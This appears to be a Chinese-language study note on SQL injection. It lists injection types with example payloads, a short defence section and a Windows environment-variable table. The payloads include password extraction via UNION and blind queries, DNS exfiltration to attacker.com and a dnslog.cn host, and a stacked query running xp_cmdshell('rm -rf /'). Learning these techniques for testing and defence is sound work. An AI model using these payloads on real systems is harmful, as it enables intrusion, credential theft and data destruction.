02_sql注入
一、系统安装
二、基本SQL语句
show databases;
select version();
select database();
select group_concat(schema_name) from information_schema.schemata;
select group_concat(table_name) from information_schema.tables where table_schema=database();
SHOW GLOBAL VARIABLES WHERE Variable_name="secure_file_priv";
show variables where variable_name = ‘local_infile’;
三、数据库架构
四、SQL注入
基本注入类型
-
字符型注入(String-Based)
- 原理:利用未过滤的引号闭合字符串,插入恶意逻辑。
- 示例:输入
admin' --使查询变为:SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'xxx'; -- 绕过密码验证[1,7](@ref)
-
数字型注入(Integer-Based)
- 原理:数字参数未强转类型,直接拼接逻辑表达式。
- 示例:
id=1 OR 1=1 --篡改查询条件。
-
JSON注入(JSON Injection)
- 原理:NoSQL数据库(如MongoDB)中注入恶意JSON操作符。
- 示例:
{"$where": "this.role == 'admin' || sleep(5000)"} -- 延时判断权限[5](@ref)
二、请求注入场景
-
请求头注入(HTTP Header Injection)
- 原理:恶意代码注入
User-Agent、X-Forwarded-For等头部,被拼接到SQL查询。 - 示例:
User-Agent: ' OR 1=1 -- -- 绕过身份验证[6,8](@ref)
- 原理:恶意代码注入
-
修改URL编码注入(URL Encoding Injection)
- 原理:使用URL编码(如
%27代替单引号)绕过基础过滤。 - 示例:
id=1%20UNION%20SELECT%201,2,3--。
- 原理:使用URL编码(如
三、盲注技术(无直接回显)
-
布尔盲注(Boolean-Based Blind)
- 原理:通过页面状态(内容/HTTP状态码)差异推断数据真伪。
- 示例:
' AND (SELECT SUBSTRING(password,1,1) FROM users)='a' -- -- 返回正常则首字母为a[1,3](@ref)
-
时间盲注(Time-Based Blind)
- 原理:注入条件性延时函数(如
SLEEP(5)),通过响应时间判断条件。 - 示例:
' IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0) -- -- 延迟5秒则成立[1,4](@ref)
- 原理:注入条件性延时函数(如
-
DNSLog注入(OOB Data Exfiltration)
- 原理:利用DNS协议外带数据(需高权限)。
- 示例:
'; EXEC master..xp_dirtree '\\'+(SELECT TOP 1 password FROM users)+'.attacker.com\' -- -- 密码通过DNS请求泄露[8](@ref)
四、特殊场景注入技术
-
宽字节注入(GBK Injection)
- 原理:GBK编码下
%df%5c组合成繁体字“運”,使转义符\失效。 - 示例:
id=1%df' UNION SELECT 1,2,3--。
- 原理:GBK编码下
-
偏移量注入(Offset Injection)
- 原理:联合查询时用
OFFSET跳过未知字段,直接定位回显位。 - 示例:
' UNION SELECT 1,2,3,4 FROM users OFFSET 5-- -- 绕过字段数限制[8](@ref)
- 原理:联合查询时用
-
加密注入(Ciphertext Injection)
- 原理:应用程序解密输入后直接拼接SQL,绕过前端过滤。
- 示例:传递加密后的
' OR 1=1 --,解密后触发注入。
-
中转注入(Second-Order with Middleware)
- 原理:恶意输入经中间层(如缓存、API网关)转发后触发二次注入。
- 示例:中间件存储恶意JSON,后续查询拼接导致注入。
五、高级利用技术
-
联合查询注入(Union-Based)
- 原理:
UNION SELECT合并查询结果,直接泄露数据。 - 示例:
' UNION SELECT username, password FROM users -- -- 获取账户密码[1,3](@ref)
- 原理:
-
堆叠注入(Stacked Queries)
- 原理:分号
;执行多条独立SQL(需数据库支持)。 - 示例:
'; DROP TABLE logs; EXEC xp_cmdshell('rm -rf /') -- -- 删表+执行系统命令[1,7](@ref)
- 原理:分号
-
二次注入(Second-Order)
- 原理:恶意数据先存入数据库,后续查询时触发。
- 示例:
注册用户名admin' --→ 密码重置时执行:UPDATE users SET password='...' WHERE username='admin' --' -- 绕过条件[1,3](@ref)
-
伪静态注入(Pseudo-Static Injection)
- 原理:针对伪静态URL(如
/news/1.html),参数解析后拼接SQL。 - 示例:
/news/1' AND 1=1--.html。
- 原理:针对伪静态URL(如
六、防御关键措施
- 代码层:
- 强制参数化查询(
PreparedStatement)或ORM框架(Hibernate)。 - 输入白名单验证(数字型强制转整型)。
- 强制参数化查询(
- 架构层:
- 数据库账户禁用
FILE、xp_cmdshell等危险权限。 - WAF拦截
UNION SELECT、SLEEP()等关键词。
- 数据库账户禁用
- 运维层:
- 日志监控异常查询(如频繁
ORDER BY试探)。
- 日志监控异常查询(如频繁
💡 实战建议:优先掌握 联合查询、布尔/时间盲注、报错注入(占实战案例70%),再研究宽字节、堆叠查询等高级技术。练习靶场:PortSwigger SQLi Labs。
1.1 DNSlog 注入信息获取
1.1.1 查看所有的环境变量
set
1.2 windows 所有的环境变量名称表格
表格包含三列:变量(Variable)、类型(Type)和描述(Description)。由于原始输入中没有明确指定每个变量的类型,我根据 Windows 环境变量的标准特性,统一将类型设置为字符串(String),因为这些变量在系统环境中均以字符串形式存储和访问(即使某些变量返回数字,如 %ERRORLEVEL% 或 %RANDOM%,它们也是作为字符串处理的)。
| 变量 | 类型 | 描述 |
|---|---|---|
%USERNAME% |
字符串 | 返回当前登录的用户的名称。 |
%USERDOMAIN% |
字符串 | 返回包含用户帐户的域的名称。 |
%OS% |
字符串 | 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。 |
%USERPROFILE% |
字符串 | 返回当前用户的配置文件的位置。 |
%ALLUSERSPROFILE% |
字符串 | 返回“所有用户”配置文件的位置。 |
%APPDATA% |
字符串 | 返回默认情况下应用程序存储数据的位置。 |
%CD% |
字符串 | 返回当前目录字符串。 |
%CMDCMDLINE% |
字符串 | 返回用来启动当前的 Cmd.exe 的准确命令行。 |
%CMDEXTVERSION% |
字符串 | 返回当前的“命令处理程序扩展”的版本号。 |
%COMPUTERNAME% |
字符串 | 返回计算机的名称。 |
%COMSPEC% |
字符串 | 返回命令行解释器可执行程序的准确路径。 |
%DATE% |
字符串 | 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。 |
%ERRORLEVEL% |
字符串 | 返回上一条命令的错误代码。通常用非零值表示错误。 |
%HOMEDRIVE% |
字符串 | 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 |
%HOMEPATH% |
字符串 | 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 |
%HOMESHARE% |
字符串 | 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 |
%LOGONSERVER% |
字符串 | 返回验证当前登录会话的域控制器的名称。 |
%NUMBER_OF_PROCESSORS% |
字符串 | 指定安装在计算机上的处理器的数目。 |
%PATH% |
字符串 | 指定可执行文件的搜索路径。 |
%PATHEXT% |
字符串 | 返回操作系统认为可执行的文件扩展名的列表。 |
%PROCESSOR_ARCHITECTURE% |
字符串 | 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。 |
%PROCESSOR_IDENTFIER% |
字符串 | 返回处理器说明。(注:变量名可能有拼写错误,通常应为 %PROCESSOR_IDENTIFIER%) |
%PROCESSOR_LEVEL% |
字符串 | 返回计算机上安装的处理器的型号。 |
%PROCESSOR_REVISION% |
字符串 | 返回处理器的版本号。 |
%PROMPT% |
字符串 | 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。 |
%RANDOM% |
字符串 | 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。 |
%SYSTEMDRIVE% |
字符串 | 返回 Windows server operating system 根目录的位置。(通常指 Windows 系统根目录) |
%TEMP% 和 %TMP% |
字符串 | 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。 |
%TIME% |
字符串 | 返回当前时间。使用与 time /t 命令相同的格式。由 Cmd.exe 生成。 |
%WINDIR% |
字符串 | 返回操作系统目录的位置。 |
1.3 使用ping 获取
C:\Users\pz>ping %USERNAME%.neks5x.dnslog.cn
Pinging pz.neks5x.dnslog.cn [127.0.0.1] with 32 bytes of data:
Reply from 127.0.0.1: bytes=32 time<1ms TTL=64
Reply from 127.0.0.1: bytes=32 time<1ms TTL=64
Reply from 127.0.0.1: bytes=32 time<1ms TTL=64
Reply from 127.0.0.1: bytes=32 time<1ms TTL=64
Ping statistics for 127.0.0.1:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
1.4 dnslog获取结果


浙公网安备 33010602011771号